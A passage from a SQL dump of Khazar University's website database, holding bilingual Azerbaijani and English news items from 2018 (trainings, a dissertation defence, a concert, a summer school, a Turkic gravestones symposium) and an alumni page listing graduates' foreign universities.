“Neftchiler” campus. The aim of the training was to contribute to the development of teaching and learning process at pedagogical universities and secondary schools in Azerbaijan as well as the integration into world education system. The training was conducted by Prof.Dr. Buket Akkoyunlu, Dean of Çankaya University, and Assoc.Prof.&nbsp;Elza Samadova, Dean of the School of Education of Khazar University.</p><p>The main objective of the training was to raise professional expertise of university instructors and school teachers to develop modern learning materials. About 30 participants from Institute of Education as well as various universities and schools joined the training.</p><p>Referring to exemplary models, the trainers mainly focused on project-based learning/teaching, which is of importance in the application of curriculum based on standards. Moreover, the trainees prepared models of interactive projects based on content standards.</p><p>At the end, the trainees were certified.</p>'),(5829,3341,'az','AzETA Xəzər Universitetinə təşəkkür etdi','2018-ci il iyunun 29-da İngilis Dili Müəllimləri Birliyi (AzETA) 2018-ci il iyunun 23-ü və 24-də Xəzər Universitetinin...','<p>2018-ci il iyunun 29-da İngilis Dili Müəllimləri Birliyi (AzETA) 2018-ci il iyunun 23-ü və 24-də Xəzər Universitetinin “Dünya” məktəbində beynəlxalq ekspertlərin iştirakı ilə təşkil olunmuş konfransa görə təşəkkür etmişdir.</p><p>Daha geniş məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"http://muallim.edu.az/news.php?id=1647\">http://muallim.edu.az/news.php?id=1647</a>.</p><p><strong><a href=\"http://www.khazar.org/files/letters/teshekkur_AZETA.pdf\">Xəzər Universitetinə təşəkkür məktubu</a></strong><br></p>'),(5830,3341,'en','AzETA thanked Khazar University','On June 29, 2018, Azerbaijan English Teachers\' Association (AzETA) expressed gratitude to Khazar University...','<p>On June 29, 2018, Azerbaijan English Teachers\' Association (AzETA) expressed gratitude to Khazar University for the conference conducted at \"Dunya\" School on June 23 and 24, 2018, which was participated by international experts.</p><p>Further information is available at:</p><p><a href=\"http://muallim.edu.az/news.php?id=1647\">http://muallim.edu.az/news.php?id=1647</a>.<br></p><p><strong><a href=\"/files/letters/teshekkur_AZETA.pdf\">A&nbsp;Gratitude Letter&nbsp;to Khazar University</a></strong><br></p>'),(5831,3342,'az','Doktorantın elmi işinin ilkin müzakirəsi keçirildi','2018-ci il iyulun 2-də Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamenti doktorant...','<p>2018-ci il iyulun 2-də Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamenti doktorant Mədinə Karahanın “Əhməd Ağaoğlu yaradıcılığı Türkiyə ədəbi, ictimai-siyasi həyatında” adlı dissertasiya işinin ilkin müzakirəsini keçirdi. Müzakirədə AMEA Nizami adına Ədəbiyyat İnstitutunun əməkdaşları –professor Bədirxan Əhmədov, professor Təyyar Salamoğlu, professor Asif Rüstəmli, Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimləri –dosent Dilbər Zeynalova, Qardaşxan Əzizxanlı və başqaları iştirak edirdilər.</p>'),(5832,3342,'en','Preliminary defence of a PhD dissertation held','On July 2, 2018, Khazar University Azerbaijani language and literature department held a preliminary...','<p>On July 2, 2018, Khazar University Azerbaijani language and literature department held a preliminary defence of a dissertation by Madina Karahan, PhD candidate, on “Ahmed Aghaoghlu’s literary creativity in a literary, social and political life of Turkey”. Prof. Badirkhan Ahmadov, Prof. Tayyar Salamoghlu, Prof. Asif Rustamli - associates of Institute of Literature after Nizami, ANAS; Assoc.Prof. Dilbar Zeynalova and Gardashkhan Azizkhanli - Instructors of the Department of Azerbaijani Language and Literature of Khazar University, as well as other instructors of the University participated in the defence.</p>'),(5833,3343,'az','Xəzər Universitetinin müəlliminin məqaləsi nüfuzlu jurnalda','Xəzər Universitetinin müəllimi Elza İsmayılovanın “Koroğlu dastanı: mənşəyi və yayıldığı ərazilər...','<p>Xəzər Universitetinin müəllimi Elza İsmayılovanın “<em>Koroğlu dastanı: mənşəyi və yayıldığı ərazilər (Azərbaycan və Türkiyə versiyaları əsasında)</em>” (“The Koroghlu Epic: Its Origin and Dissemination Areas (On the Basis of Azerbaijan and Turkey Versions)”) adlı məqaləsi Rumıniyanın nüfuzlu, Thomson Reuters indeksli “Revista de Etnografie şi Folclor/ Journal of Ethnography and Folklore” jurnalına çap edilmək üçün qəbul edilmişdir.</p><p>Məqalənin qəbul edilməsi və xülasəsini bu linklər vasitəsilə oxumaq olar:</p><p><a href=\"http://www.academiaromana.ro/ief/ief_pubREF.htm\">http://www.academiaromana.ro/ief/ief_pubREF.htm</a>;</p><p><a href=\"http://www.academiaromana.ro/ief/rev/REF2018.pdf\">http://www.academiaromana.ro/ief/rev/REF2018.pdf</a></p>'),(5834,3343,'en','An article by a Khazar University instructor in a prominent journal','An article entitled “The Koroghlu Epic: Its Origin and Dissemination Areas (On the Basis...','<p>An article entitled “The Koroghlu Epic: Its Origin and Dissemination Areas (On the Basis of Azerbaijan and Turkey Versions)” by Elza Ismayilova, Instructor of Khazar University, has been accepted by “Revista de Etnografie şi Folclor/ Journal of Ethnography and Folklore”, a prominent Romanian journal indexed by Thomson Reuters, for publication.&nbsp;</p>\r\n<p>The article\'s acceptance and abstract can be read through these links:</p><p><a href=\"http://www.academiaromana.ro/ief/ief_pubREF.htm\">http://www.academiaromana.ro/ief/ief_pubREF.htm</a>;</p><p><a href=\"http://www.academiaromana.ro/ief/rev/REF2018.pdf\">http://www.academiaromana.ro/ief/rev/REF2018.pdf</a></p>'),(5837,3345,'az','Departament rəhbərləri və potensial tədqiqatçılarla görüş','2018-ci il iyunun 29-da Xəzər Universitetində departament rəhbərləri və potensial...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\">2018-ci il iyunun 29-da Xəzər Universitetində departament rəhbərləri\r\nvə potensial tədqiqatçılarla görüş keçirildi. Görüşün məqsədi departamentlərin\r\nelmi potensialını gücləndirmək, elmi tədqiqat istiqamətlərini müəyyənləşdirmək\r\nyolları, elmi tədqiqat nəticələrinə əsasən departamentlərin və tədqiqatçıların\r\ntəşviqi strategiyaları haqda təkliflərin verilməsi idi. Görüşü Elmi İşlər üzrə\r\nprorektor İradə Xəlilova açaraq, müzakirə olunacaq məsələlər haqqında məlumat\r\nverdi. Görüş zamanı o, həmçinin Xəzər Universitetinin tərəfdaş kimi çıxış\r\netdiyi NİZAMİ, PAWER və PETRA layihələri&nbsp;haqqında geniş məlumat verdi.</p>'),(5835,3344,'az','Xəzər Universiteti Planetar Sağlamlıq İttifaqına daxil edildi','Xəzər Universiteti Harvard Universitetinin Planetar Sağlamlıq İttifaqı (Planetary Health Alliance)...','<p>Xəzər Universiteti Harvard Universitetinin Planetar Sağlamlıq İttifaqı (Planetary Health Alliance) konsorsiumunun tərkibinə daxil edilmiş və konsortiumun internet səhifəsində dünyanın aparıcı uversitetləri ilə bir sırada qeyd edilmişdir.</p><p>Bu haqda daha geniş məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"https://planetaryhealthalliance.org/alliance-members\">https://planetaryhealthalliance.org/alliance-members</a>.</p>'),(5836,3344,'en','Khazar University is a part of Planetary Health Alliance','Khazar University has been included in Planetary Health Alliance consortium of Harvard University...','<p>Khazar University has been included in Planetary Health Alliance consortium of Harvard University and is listed along with top universities of the world in the consortium website.</p>\r\n<p>Further information is available at:</p><p><a href=\"https://planetaryhealthalliance.org/alliance-members\">https://planetaryhealthalliance.org/alliance-members</a>.<br></p>'),(5838,3345,'en','A meeting with heads of departments and potential researchers','A meeting with heads of departments and potential researchers was held at Khazar University...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\">A meeting with heads of departments and\r\npotential researchers was held at Khazar University on June 29, 2018. The aim\r\nof the meeting was to strengthen the scientific potential of departments, provide\r\nproposals on the ways of defining scientific research directions, promotion\r\nstrategies of departments and researchers based on scientific research results.\r\nIrada Khalilova, Vice-rector for Research, opened the meeting and informed\r\nabout the issues to be discussed. During the meeting, she also gave detailed\r\ninformation about NIZAMI, PAWER and PETRA projects, in which Khazar University acted\r\nas a partner university.&nbsp;</p>'),(5839,3346,'az','Professor Hamlet İsaxanlı və Dr. İsaxan İsaxanlı Azərbaycan Dillər Universitetinin Tərcümə Ensiklopediyasında','Kamal Abdullanın baş redaktor və Əliş Mirzallının redaktorluğu ilə Azərbaycan Dillər...','<p>Kamal Abdullanın baş redaktor və Əliş Mirzallının redaktorluğu ilə Azərbaycan Dillər Universitetinin nəşr etdiyi ilk Azərbaycan Tərcümə Ensiklopediyasına bir sıra görkəmli peşəkar tərcüməçilər, tərcümə sənəti ilə məşğul olmuş alim və ədəbiyyat xadimləri ilə yanaşı, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının və Xəzər Universitetinin İdarəetmə və tələbə işləri üzrə prorektoru Dr. İsaxan İsaxanlının da adları daxil edilmişdir. Professor Hamlet İsaxanlının rus ədəbiyyatından Anna Axmatovanın şeirlər toplusu, Baratinski, Jukovski, Qumilyov, Yesenin, Tutçev, Afanasiy Fet, ingilis ədəbiyyatından Bayron, Herriks, Uilyam Bleykdən seçmə tərcümələri, Dr. İsaxan İsaxanlının isə Blok, Bunin, Lermontov, Puşkin, Tolstoy və Yesenindən seçmə tərcümələrinin siyahısına ensiklopediyada yer verilmişdir.</p>'),(5840,3346,'en','Professor Hamlet Isakhanli and Dr. Isakhan Isakhanli included in the Azerbaijan Translation Encyclopedia published by Azerbaijan University of Languages','The names of Professor Hamlet Isakhanli, founder of Khazar University and the Chairman...','<p>The names of Professor Hamlet Isakhanli, founder of Khazar University and Chairman of its Board of Directors and Trustees, and of Dr. Isakhan Isakhanli, Vice-Rector for Administration and Student Affairs were included in the list of the prominent professional translators, scholars and literary figures involved in translation activity in the first Translation Encyclopedia of Azerbaijan published by Azerbaijan University of Languages with Kamal Abdulla as an editor-in-chief and Alish Mirzalli as an editor. Selected works by Anna Akhmatova (collection of poems), Baratinsky, Zhukovsky, Gumilyov, Yesenin, Tyutchev, Afanasy Fet from Russian literature; Byron, Herricks, William Blake from English literature translated by Prof. Hamlet&nbsp;Isakhanli, and of Block, Bunin, Lermontov, Pushkin, Tolstoy and Yesenin translated by Dr. Isakhan Isakhanli were listed in the encyclopedia.</p>'),(5841,3348,'az','Elmi Şuranın cari dərs ilində son iclası','İyulun 9-da Xəzər Universitetinin rektoru Hassan Niknafsın sədrliyi ilə universitet elmi...','<p>İyulun 9-da Xəzər Universitetinin rektoru Hassan Niknafsın sədrliyi ilə universitet elmi şurasının cari dərs ilində son iclası keçirildi. İclasın gündəliyinə əsasən məzunluq haqqında Humanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov, Təhsil fakültəsinin dekanı Elza Səmədova, İqtisadiyyat və menecment fakültəsinin dekanı Ceyhun Məmmədov və Mühəndislik və tətbiqi elmlər fakültəsinin dekan müavini Vəfa Aslanovanın, doktorant və dissertantların dissertasiya mövzusu, elmi rəhbərlərinin təsdiqi və ixtisaslarının dəyişdirilməsi haqqında Magistratura, doktorantura və elmi işlər bölməsinin müdiri Eldar Şahgəldiyevin məlumatları dinlənildi və müvafiq qərarlar qəbul edildi.</p><p>İclasda cari məsələlər də müzakirə olundu.</p>'),(5842,3348,'en','Last meeting of the Academic Council is held in the current academic year','On 9 July, the last meeting of the University Academic Council in the current academic year...','<p>On 9 July, the last meeting of the University Academic Council in the current academic year, chaired by Dr. Hassan Niknafs, the rector of Khazar University, was held. In accordance with the agenda of the meeting, Jabir Khalilov, Dean of the School of Humanities and Social Sciences, Elza Samadova, Dean of the School of Education, Jeyhun Mammadov, Dean of the School of Economics and Management, and Vafa Aslanova, Vice-dean of the School of Engineering and Applied Sciences, gave information about graduation in the current academic year. Moreover, Dr. Eldar Shahgaldiyev, Head of the Division for Graduate Students and Research, gave information about topics of dissertations of PhD students, approval of research supervisors for PhD students, and change of qualifications. Current issues were also discussed at the meeting.</p>'),(5843,3349,'az','Xəzər Universitetinin Kamera orkestri Türkiyə-Azərbaycan dostluq konsertində','2018-ci il iyulun 2-də Türkiyə Cümhuriyyətinin Azərbaycandakı səfirliyində səfirliyin təşkilatçılığı...','<p>2018-ci il iyulun 2-də Türkiyə Cümhuriyyətinin Azərbaycandakı səfirliyində səfirliyin təşkilatçılığı ilə Türkiyə-Azərbaycan dostluq konserti oldu. Konserti giriş sözü ilə Türkiyə Cümhuriyyətinin Azərbaycandakı fövqəladə və səlahiyyətli səfiri Erkan Özoral açdı. Azərbaycan Milli Konservatoriyasının prorektoru musiqişünas Lalə Hüseynovanın çıxışından sonra konsert başlandı.</p><p>Konsertdə Xəzər Universitetinin Musiqi və incəsənət departamentinin müdiri, əməkdar müəllim, pianoçu Zülfiyyə Sadıqovanın rəhbərlik etdiyi universitetin Kamera orkestrinin müşayiəti ilə əməkdar incəsənət xadimləri Vasif və Ceyhun Allahverdiyev qardaşlarının mahnı və romansları ifa olundu. Solistlər - əməkdar artist Lalə Məmmədoba, Kəmalə Nəbiyeva, Ayan Qurbanova, Aqşin Abdullayev, Aynur İsgəndərli, Mirələm Mirələmov və Kəmalə Nəbiyeva idi. Zurnada Araz Fətəliyev, zərb alətində Murad Nağızadə ifa edirdilər.</p><p>Sonda Azərbaycan Respublikası Milli Məclisinin Əmək və sosial siyasət komitəsinin sədri Hadı Rəcəbli çıxış edərək, Azərbaycan-Türkiyə qardaşlığından danışdı, Xəzər Universiteti, Kamera orkestri və solistlər haqqında xoş sözlər söylədi.</p><p>Konsert AzTV, Space TV və TRT kanallarında geniş işıqlandırıldı.</p>'),(5844,3349,'en','Khazar University Chamber Orchestra at Turkey-Azerbaijan Friendship Concert','On July 2, 2018, Turkey-Azerbaijan friendship concert was held at the Embassy of the Republic...','<p>On July 2, 2018, Turkey-Azerbaijan friendship concert was held at the Embassy of the Republic of Turkey to Azerbaijan on the organizational support of the Turkish Embassy. Erkan Ozoral, Ambassador Extraordinary and Plenipotentiary of the Republic of Turkey to Azerbaijan, delivered an opening speech at the concert. After his speech, a concert by Lala Huseynova, a musicologist and Dean at Azerbaijan National Conservatory, started.</p><p>Khazar University Chamber Orchestra, guided by Zulfiyya Sadigova, a pianist, Head of the Department of Music and Fine Arts, Honored Teacher, accompanied Vasif and Jeyhun Allahverdiyev, brothers, Honored Art Workers, who performed songs and romances. Lala Mammadova, Honored Artist, Kamala Nabiyeva, Ayan Gurbanova, Agshin Abdullayev, Aynur Isgandarli, and Miralam Miralamov acted as soloist. Araz Fataliyev and Murad Naghizadeh played the zurna and the drum respectively.</p><p>At the end of the concert, Hadi Rajabli, Chairman of the Committee for Labour and Social Policy of the Milli Majlis of the Republic of Azerbaijan, delivered a speech talking about Turkey-Azerbaijan friendship and praising Khazar University, the soloist and Chamber Orchestra.</p><p>AzTV, Space TV and TRT channels widely covered the concert.</p>'),(5845,3350,'az','PROMIG layihəsi çərçivəsində yay məktəbi','2018-ci il iyulun 1-dən 7-dək İvana Cavaxişvili Tbilisi Dövlət Universitetində “Universitetdə miqrasiya təhsilinin təşviqi...','<p>2018-ci il iyulun 1-dən 7-dək İvana Cavaxişvili Tbilisi Dövlət Universitetində “Universitetdə miqrasiya təhsilinin təşviqi” Erasmus+ (PROMIG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP) layihəsi yay məktəbi keçirildi. Yay məktəbində koordinator kimi, Xəzər Universiteti İnkişaf Mərkəzinin layihə meneceri Ülkər Bayramova, müəllim kimi, Siyasi elm və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayev və Coğrafiya və ətraf mühit departamentinin müəllimi Rövşən Kərimov və həmçinin, universitetin bir qrup MBA tələbəsi iştirak edirdilər. Tədbirdə Bakı Mühəndislik Universitetindən və həmçinin, Avropadan Alikante Universiteti (İspaniya), Oldenburq Universiteti (Almaniya), WUS-Austria (Avstriya) təşkilatı, Gürcüstan universitetlərinin nümayəndələri və Əfqanıstan Xarici İşlər Nazirliyinin nümayəndəsi də iştirak edirdilər. Bir həftə davam edən yay məktəbində tyutorlar tələbələr üçün təlimlər keçdilər və təlimlərin son günü tələbələrin təqdimatları dinlənərək, onlara sertifikatlar təqdim olundu. Xəzər Universitetinin müəllimləri də yay məktəbinin tyutorları olaraq sertifikatla mükafatlandırıldılar. Yay məktəbi müddətində həm də layihənin idarəetmə görüşü keçirildi, layihənin növbəti görüşlərinin vaxtları, layihənin keyfiyyətli idarə olunması və layihə qarşısında duran məsələlər müzakirə olundu.</p>'),(5846,3350,'en','Summer school within PROMIG project','On June 1-7, 2018, a summer school “Promoting Migration Studies in Higher Education” was held within...','<p>On June 1-7, 2018, a summer school “Promoting Migration Studies in Higher Education” was held within Erasmus+ (PROMIG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP) project at Ivane Javakhishvili Tbilisi State University. Ulkar Bayramova, project manager of Center for Development of Khazar University, participated as an instructor at the summer school. Moreover, Elmar Mustafayev, Coordinator of the Department of Political Science and International Relations, Rovshan Karimova, Instructor of the Department of Geography and Environment as well as a group of MBA students participated in the summer school. Representatives of the Baku Engineering University, University of Alicante (Spain), University of Oldenburg (Germany), WUS-Austria (Austria), as well as representatives from Georgian universities and Ministry of Foreign Affairs, Afghanistan, also joined the summer school. Within one-week summer school, tutors conducted trainings for students. On the last day of the training, students delivered presentations and were certified. Khazar University instructors were certified as tutors of the summer school. Besides, the next dates of the summer school, quality management of the project as well as other issues were discussed in a project management meeting held over the course of the summer school.</p>'),(5847,3347,'az','Xəzər haqqında','Xəzər haqqında','<br><iframe width=\"720\" height=\"580\" src=\"https://www.youtube.com/embed/wvcbiaxTP6M\" frameborder=\"0\" allow=\"autoplay; encrypted-media\"></iframe>'),(5848,3347,'en','About Khazar','About Khazar','<br><iframe width=\"720\" height=\"580\" src=\"https://www.youtube.com/embed/wvcbiaxTP6M\" frameborder=\"0\" allow=\"autoplay; encrypted-media\"></iframe>'),(5849,3351,'az','Məzunlar','Məzunlar','<h3><strong>Məzun&nbsp;2017-2018</strong></h3><div><strong><br></strong></div><p><strong><img src=\"/files/engineering/images/narmin_s.jpg\" style=\"float:left;width:150px;height:156px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Nərmin Səlimova</strong></p><p><strong></strong><strong>Universitet:&nbsp;</strong>Grenoble Alpes Universiteti, Fransa</p><p><strong>İxtisas</strong>:&nbsp;Nanoelm və Nanotexnologiyalar  </p><p><strong>Təqaüdlü təhsil</strong></p><p><strong><br></strong></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><img src=\"/files/engineering/images/nazrin_ba.jpg\" style=\"float:left;width:150px;height:205px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Nəzrin Babaşova</strong></p><p><strong>Universitet:&nbsp;</strong>Linnaeus Universiteti, İsveç</p><p><strong>İxtisas</strong>:  Davamlı enerji prosesləri</p><p><strong></strong><strong>Təqaüdlü təhsil</strong><br></p><p><br></p><p><br></p><p><br></p><p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><img src=\"http://www.khazar.org/files/engineering/images/tarlan_h.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:148px\">Tərlan Həsənli</strong></p><p><strong>Universitet:&nbsp;</strong>Tartu Universiteti, Estoniya</p><p><strong>İxtisas:</strong>  Kompüter Mühəndisliyi</p><p><strong><strong>Təqaüdlü təhsil</strong>  </strong></p><p><br></p><p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><img src=\"http://www.khazar.org/files/engineering/images/latif_g.jpg\" style=\"float:left;width:150px;height:182px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Lətif Quliyev</strong></p><p><strong>Universitet:&nbsp;</strong>Eötvös Loránd Universiteti&nbsp;(ELTE), Macarıstan</p><p><strong>İxtisas</strong>:&nbsp;Kompüter Elmləri</p><p><strong><strong>Təqaüdlü təhsil</strong>  </strong></p><p><strong><br></strong></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><br><p><strong><img src=\"/files/engineering/images/lamiye_m.jpg\" style=\"float:left;width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Lamiyə Məmmədova</strong></p><p><strong style=\"font-weight:bold\">Universitet</strong><span style=\"font-weight:bold\">:</span> City University of London, Böyük Britaniya<br></p><p><strong>İxtisas:</strong>&nbsp;Cyber Security  </p><p><strong>Təqaüdlü təhsil</strong></p><p><br></p><p><br></p><p><strong><br></strong></p><p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><strong><br></strong><br><p><strong><img src=\"/files/engineering/images/adil_b.jpg\" style=\"float:left;width:150px;height:192px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Adil Babayev</strong></p><p><strong></strong><strong>Universitet</strong><span style=\"font-weight:bold\">:</span>&nbsp;Budapest University of Technology and Economics, Macarıstan</p><p><strong>İxtisas:</strong>&nbsp;Transportation Engineering  </p><p><strong>Təqaüdlü təhsil</strong></p>  <p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Beydulla Zeynalov</strong><strong><img src=\"http://www.khazar.org/files/engineering/images/beydulla_z.jpg\" style=\"float:left;width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></p><p><strong>Universitet</strong>:&nbsp;Óbuda Universiteti, Macarıstan</p><p><strong></strong><strong>İxtisas:</strong>&nbsp;Kompüter Mühəndisliyi  </p><p><strong>Təqaüdlü təhsil</strong><br><strong></strong></p><p><strong><br></strong></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>S<img src=\"http://www.khazar.org/files/engineering/images/sultan_i.jpg\" style=\"float:left;width:150px;height:208px;margin-left:7px;margin-right:7px;margin-bottom:7px\">ultan İsmayılov</strong></p><p><strong></strong><strong>Universitet</strong>: Ruhr Universiteti Bochum,&nbsp;Almaniya</p><p><strong>İxtisas</strong>: Hesablama Mühəndisliyi</p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><img src=\"http://www.khazar.org/files/engineering/images/arsham_s.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:227px\">Arsham Sarshogh&nbsp;</strong></p><p><strong></strong><strong>Universitet</strong>:&nbsp;Alberto Universiteti, Kanada</p><p><strong></strong><strong>İxtisas:</strong>&nbsp;Kompüter Mühəndisliyi  </p><p><br></p><p><br></p><p><br></p><p><br></p><h3><br></h3><h3><strong>Məzun&nbsp;</strong>2015-2016</h3><p><strong><img src=\"/files/engineering/images/afaq.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:200px\">Afaq Həsənli</strong></p><p><strong></strong><strong>Universitet</strong>: Technical University of Munich, Almaniya</p><p><strong>İxtisas:</strong>&nbsp;Data Engineering and Analytics</p><p><strong>Təqaüdlü təhsil</strong></p>'),(5850,3351,'en','Alumni','Alumni','<h3><strong>Graduates 2017-2018</strong></h3><div><strong><br></strong></div><p><strong><img src=\"/files/engineering/images/narmin_s.jpg\" style=\"float:left;width:150px;height:156px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Narmin Salimova</strong></p><p><strong></strong><strong>University:&nbsp;</strong>Grenoble Alpes University, France</p><p><strong>Major</strong>:&nbsp;Nanoscience and Nanotechnologies</p><p><strong>Scholarship</strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><img src=\"/files/engineering/images/nazrin_ba.jpg\" style=\"float:left;width:150px;height:205px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Nazrin Babashova</strong></p><p><strong>University:&nbsp;</strong>Linnaeus University, Sweden</p><p><strong>Major</strong>:  Sustainable Energy Process</p><p><strong>Scholarship</strong>  <br></p><p><br></p><p><br></p><p><br></p><p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><img src=\"http://www.khazar.org/files/engineering/images/tarlan_h.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:148px\">Tarlan Hasanli</strong></p><p><strong>University:&nbsp;</strong>Tartu University, Estonia</p><p><strong>Major:</strong>  Computer Engineering</p><p><strong>Scholarship</strong></p><p><br></p><p><br></p><p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><img src=\"http://www.khazar.org/files/engineering/images/latif_g.jpg\" style=\"float:left;width:150px;height:182px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Latif Guliyev</strong></p><p><strong>University:&nbsp;</strong>Eötvös Loránd University&nbsp;(ELTE), Hungary</p><p><strong>Major</strong>:&nbsp;Computer Science</p><p><strong>Scholarship</strong></p><p><strong><br></strong></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><img src=\"/files/engineering/images/lamiye_m.jpg\" style=\"float:left;width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Lamiya&nbsp;Mammadova</strong></p><p><strong style=\"font-weight:bold\">University</strong><span style=\"font-weight:bold\">:</span> City University of London, UK<br></p><p><strong>Major:</strong>&nbsp;Cyber Security  </p><p><strong>Scholarship</strong></p><p><br></p><p><br></p><p><strong><br></strong></p><p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><strong><br></strong><br><p><strong><img src=\"/files/engineering/images/adil_b.jpg\" style=\"float:left;width:150px;height:192px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Adil Babayev</strong></p><p><strong></strong><strong>University</strong><span style=\"font-weight:bold\">:</span>&nbsp;Budapest University of Technology and Economics, <br>Hungary</p><p><strong>Major:</strong>&nbsp;Transportation Engineering  </p><p><strong>Scholarship</strong></p>  <p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><strong></strong><br><p><strong>Beydulla Zeynalov</strong><strong><img src=\"http://www.khazar.org/files/engineering/images/beydulla_z.jpg\" style=\"float:left;width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></p><p><strong>University</strong>:&nbsp;Óbuda University, Hungary</p><p><strong>Major</strong>: Computer Engineering</p><p><strong>Scholarship</strong>  <br><strong></strong></p><p><strong><br></strong></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>S<img src=\"http://www.khazar.org/files/engineering/images/sultan_i.jpg\" style=\"float:left;width:150px;height:208px;margin-left:7px;margin-right:7px;margin-bottom:7px\">ultan Ismayilov</strong></p><p><strong></strong><strong>University</strong>: Ruhr University Bochum,&nbsp;Germany</p><p><strong>Major</strong>: Computational Engineering</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><strong>Arsham Sarshogh</strong></strong><strong><strong><img src=\"http://www.khazar.org/files/engineering/images/arsham_s.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:227px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></strong></p>\r\n<p><strong></strong><strong>University</strong>:&nbsp;Alberto University, Canada</p><p><strong>Major</strong>: Computer Engineering</p>  <p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><h3><strong>Graduates 2015-2016</strong></h3><div><strong><br></strong></div><p><strong><img src=\"/files/engineering/images/afaq.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:200px\">Afag Hasanli</strong></p><p><strong><strong>University</strong>:&nbsp;</strong>Technical University of Munich, Germany  </p><p><strong>Major:</strong>&nbsp;Data Engineering and Analytics</p><p><strong>Scholarship</strong></p>'),(6035,3442,'az','I Beynəlxalq Türk Məzar Daşları Simpoziumu keçirildi','2018-ci il sentyabrın 19-21-də Bakıda Erciyes Universiteti, Xəzər Universiteti, Azərbaycan Milli Tarix Muzeyi və Türk Tarix Qurumunun...','<p>2018-ci il sentyabrın 19-21-də Bakıda Erciyes Universiteti, Xəzər Universiteti, Azərbaycan Milli Tarix Muzeyi və Türk Tarix Qurumunun təşkilatçılığı ilə I Beynəlxalq Türk Məzar Daşları Simpoziumu keçirildi. Simpoziumun rəsmi açılışı sentyabrın 19-da Azərbaycan Milli Tarix Muzeyində oldu.</p><p>Açılış mərasimində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, Milli Tarix Muzeyinin direktoru akademik Nailə Vəlixanlı, Erciyes Universitetinin professoru Celil Arslan və digərləri çıxış etdilər.</p><p>Günün ikinci yarısı və sentyabrın 20-də simpozium öz işini Xəzər Universitetində davam etdirdi. Türkiyəli və azərbaycanlı mütəxəssislərin simpozium mövzusunu əhatə edən 30-a qədər məruzəsi dinlənidi, sorğular cavablandırıldı, müzakirələr aparıldı.</p><p>Günün sonunda simpoziumun bağlanış mərasimi keçirildi. Tədbirdə professorlar Yaşar Çorunlu, Halit Çal, Abbas Seyidov, dosent Celil Arslan və doktorant Tülin Çorunlu çıxış edərək, simpoziumun müştərək türk tarixinin tədqiqi və öyrənilməsi baxımından böyük əhəmiyyətini, dinlənilən məruzələrin yüksək peşəkarlıqla hazırlandığını qeyd etdilər və simpoziumun keçirilməsi üçün yaradılmış şəraitə görə Xəzər Universitetinin rəhbərliyinə və təşkilatçılara minnətdarlıq bildirdilər. Məruzəçilərə sertifikat təqdim olundu.</p><p>Simpoziumun Təşkilat komitəsinin üzvü, Xəzər Universitetinin İctimai 